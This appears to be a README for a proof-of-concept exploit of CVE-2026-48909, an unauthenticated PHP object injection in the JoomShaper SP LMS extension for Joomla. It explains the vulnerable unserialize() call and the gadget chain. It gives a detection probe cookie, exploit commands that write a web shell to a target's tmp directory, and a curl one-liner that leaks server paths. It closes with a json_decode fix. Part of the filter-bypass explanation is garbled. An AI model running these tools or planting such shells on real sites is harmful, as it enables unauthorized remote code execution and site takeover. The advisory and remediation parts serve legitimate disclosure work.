
Proof-of-concept exploit for CVE-2026-48909: unauthenticated remote code execution via PHP object injection in JoomShaper SP LMS. Includes detection, exploitation, and remediation guidance.
Unauthenticated Remote Code Execution via PHP Object Injection in JoomShaper SP LMS (com_splms) ≤ 4.1.3 for Joomla CMS.
Author: Amin İsayev / Proxima Cyber Security
SP LMS is a popular Joomla Learning Management System extension by JoomShaper with 100,000+ installations. Versions ≤ 4.1.3 pass the lmsOrders cookie directly to unserialize() without any validation, enabling an unauthenticated attacker to inject a malicious PHP object and achieve Remote Code Execution through Joomla's native gadget chain.
components/com_splms/models/cart.php line 28:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← untrusted user input
The lmsOrders cookie is base64-decoded and passed directly to unserialize(). An attacker controls the deserialized object entirely.
Joomla's FormattedtextLogger class provides the gadget:
lmsOrders cookie (attacker-controlled)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [Joomla gadget]
└─► initFile() → File::write($path, $format)
└─► PHP code written to disk → RCE
Note: RCE requires Joomla < 5.2.2.
Joomla 5.2.2 patchedFormattedtextLogger.__wakeup()(see PR #44428).
PHP Object Injection still exists in com_splms ≤ 4.1.3 on all Joomla versions.
Joomla's Input\Cookie::get() applies a cmd filter by default, stripping +, /, and = from the cookie value — characters present in standard base64. The exploit uses:
$, _, {, }, \n)= padding)/ and + from base64 outputpython3 CVE-2026-48909.py https://target.com
[*] Target : https://target.com
[*] Path : /index.php?option=com_splms&view=cart
[*] Probe : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Shell active at
https://target.com/tmp/x.php?c=id
Finding the server path (if unknown):
# cPanel hosting — path leaks from Joomla error pages
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# Common paths to try:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders cookie before deserialization:// Do NOT use unserialize() on user-controlled data
// Use json_encode/json_decode instead
$cartItems = json_decode(base64_decode($raw), true) ?? [];
This tool is released for educational purposes and authorized security testing only.
The author is not responsible for any misuse or damage caused by this program.
Do not use against systems you do not own or have explicit written permission to test.
Amin İsayev / Proxima Cyber Security — 2026
| Field | Details |
|---|
| CVE ID | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| Affected | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| Fixed in | SP LMS ≥ 4.1.4 |
| Joomla req. | < 5.2.2 (gadget chain patched in 5.2.2) |
| CVSS 4.0 | 9.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Auth required | None |
| Disclosed | 2026-05-26 |
| Published | 2026-06-20 |